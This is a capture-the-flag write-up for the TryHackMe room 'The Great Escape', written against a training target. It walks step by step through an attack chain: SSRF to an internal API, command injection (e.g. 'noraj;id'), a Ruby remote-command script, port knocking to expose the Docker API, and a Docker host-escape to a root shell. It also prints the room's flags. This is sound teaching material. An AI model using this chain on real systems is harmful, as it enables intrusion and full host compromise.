The Great Escape - Write-up - TryHackMe

Information

Room#

  • Name: The Great Escape
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Our devs have created an awesome new site. Can you break out of the sandbox?

The Great Escape

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

1
$ sudo pacman -S gtfoblookup docker curl nmap burpsuite ssrf-sheriff ruby-httpclient

Security.txt#

What is security.txt? Take a look at my article on the subject.

On the web app we can hit /.well-known/security.txt:

1
2
3
4
5
6
7
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.

Let's do that.

1
2
3
4
5
6
$ curl -I http://10.10.70.53/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:21:55 GMT
Connection: keep-alive
flag: THM{edited}

Web flag: THM{b801135794bf1ed3a2aafaa44c2e5ad4}

Web discovery#

Unauthenticated we can only see a login form. But I quickly discovered /robots.txt giving some interesting paths to try:

1
2
3
4
5
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
  • /api/: I have no information about the API yet so let's skip it for now
  • /exif-util/ it has an unauthenticated upload form
  • /*.bak.txt$ I'll be able to leak some source code with that

I retrieved the source code of the upload form at /exif-util.bak.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>

<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>

This will send our image URL, either a HTTP link (http://example.org/image.png) or data-URI (data:image/png;base64,iVBOR...) to an internal API (http://api-dev-backup:8080/exif). But we have an externally exposed API and trying to reach http://10.10.190.91/api/exif gives a 500 error because the endpoint exists but we did not provide any argument and it must be expecting the url too. So /api/exif exposed on port 80 must be the same API as /exif on the internal port 8080.

But is there a difference in filtering between the production and backup API?

For now I don't know, but with the error message I get I know it's a Java backend: An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection.

Also if I make a SSRF to a controlled URL with ssrf-sheriff (eg. http://10.10.190.91/api/exif?url=http://10.9.19.77:8000) I retrieve the following entry leaking Java version (11.0.8):

1
2021-02-16T10:50:48.652+0100    info    handler/handler.go:105  New inbound HTTP request        {"IP": "10.10.190.91:53190", "Path": "/", "Response Content-Type": "text/plain", "Request Headers": {"Accept":["text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"],"Connection":["keep-alive"],"Te":["gzip, deflate; q=0.5"],"User-Agent":["Java/11.0.8"]}}

Web exploitation#

We can reach the internal dev APi via the public one (SSRF): /api/exif?url=http://api-dev-backup:8080/exif?url=xxx and it seems that the internal one is vulnerable to command injection:

/api/exif?url=http://api-dev-backup:8080/exif?url=noraj;id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Mar 2021 09:15:06 GMT
Content-Type: text/plain;charset=UTF-8
Content-Length: 360
Connection: close

An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)

Quick PoC in Ruby to ease the epxloitation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
require 'httpclient'

VULN_URL = 'http://10.10.70.53/api/exif'
cmd = ARGV[0]

data = {
'url' => "http://api-dev-backup:8080/exif?url=noraj;#{cmd}"
}

clnt = HTTPClient.new
res = clnt.get(VULN_URL, data)
if /Request contains banned words/.match?(res.body)
puts 'We hit blacklist'
else
stdout = /-{40}.+-{40}\s+(.+)/m.match(res.body).captures[0]
puts stdout
end

Run it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ruby rce.rb id
uid=0(root) gid=0(root) groups=0(root)

$ ruby rce.rb 'ls -lhA /root'
total 20K
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4.0K Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt

$ ruby rce.rb 'cat /root/dev-note.txt'
Hey guys,

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.

Anyways, the password is fluffybunnies123

Cheers,

Hydra

$ ruby rce.rb 'ls -lhA /.dockerenv'
-rwxr-xr-x 1 root root 0 Jan 7 22:14 /.dockerenv

It seems we are running as root in a docker container and we found a password in dev-note.txt: fluffybunnies123. It's a valid password for the web app or SSH.

System enumeration#

The note is saying file were removed and we have a git repository.

Let's dig in the git repository:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ ruby rce.rb 'cd /root; git --no-pager log --oneline'
5242825 fixed the dev note
4530ff7 Removed the flag and original dev note b/c Security
a3d30a7 Added the flag and dev notes

$ ruby rce.rb 'cd /root; git --no-pager log HEAD~2 -p'
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000

Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{edited}
\ No newline at end of file

Docker flag: THM{0cb4b947043cb5c0486a454b75a10876}

Port knocking#

The second dev note was telling us to do some port knocking on TCP ports 42, 1337, 10420, 6969, and 63000 to expose the docker port remotely.

We can write a quick port knocker in Ruby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
require 'socket'

ports = [42, 1337, 10420, 6969, 63000]

ports.each do |port|
puts "[+] Port: #{port}"
sleep 1
begin
s = TCPSocket.new '10.10.70.53', port
s.close
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH
next
end
end

Also looking at the List of TCP and UDP port numbers we can find the docker related well known ports:

  • 2375: Docker REST API (plain)
  • 2376: Docker REST API (SSL)
  • 2377: Docker Swarm cluster management communications

It's will be most likely be exposed on port 2375.

Let's port knock and then see if the docker port is open:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ruby port-knock.rb
[+] Port: 42
[+] Port: 1337
[+] Port: 10420
[+] Port: 6969
[+] Port: 63000

$ nmap -p 2375 10.10.70.53
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-18 11:27 CET
Nmap scan report for 10.10.70.53
Host is up (0.034s latency).

PORT STATE SERVICE
2375/tcp open docker

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds

Docker enumeration#

Let's use an environment variable (DOCKER_HOST) to use the remotely exposed one for our current session. Then we can enumerate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ export DOCKER_HOST=tcp://10.10.70.53:2375

$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 2 months ago Up 2 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 2 months ago Up 2 hours dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 2 months ago Up 2 hours 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 2 months ago Up 2 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1

$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 2 months ago 214MB
exif-api latest 923c5821b907 2 months ago 163MB
frontend latest 577f9da1362e 2 months ago 138MB
endlessh latest 7bde5182dc5e 2 months ago 5.67MB
nginx latest ae2feff98a0c 3 months ago 133MB
debian 10-slim 4a9cd57610d6 3 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 3 months ago 103MB
alpine 3.9 78a2ce922f86 10 months ago 5.55MB

There is a generic Alpine image.

EoP: Docker exploitation#

Let's check the GTFObin for docker and use it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ gtfoblookup linux shell docker
docker:

shell:

Description: The resulting is a root shell.
Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

$ docker run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cat /root/flag.txt
Congrats, you found the real flag!

THM{edited}

Root flag: THM{c62517c0cad93ac93a92b1315a32d734}

Share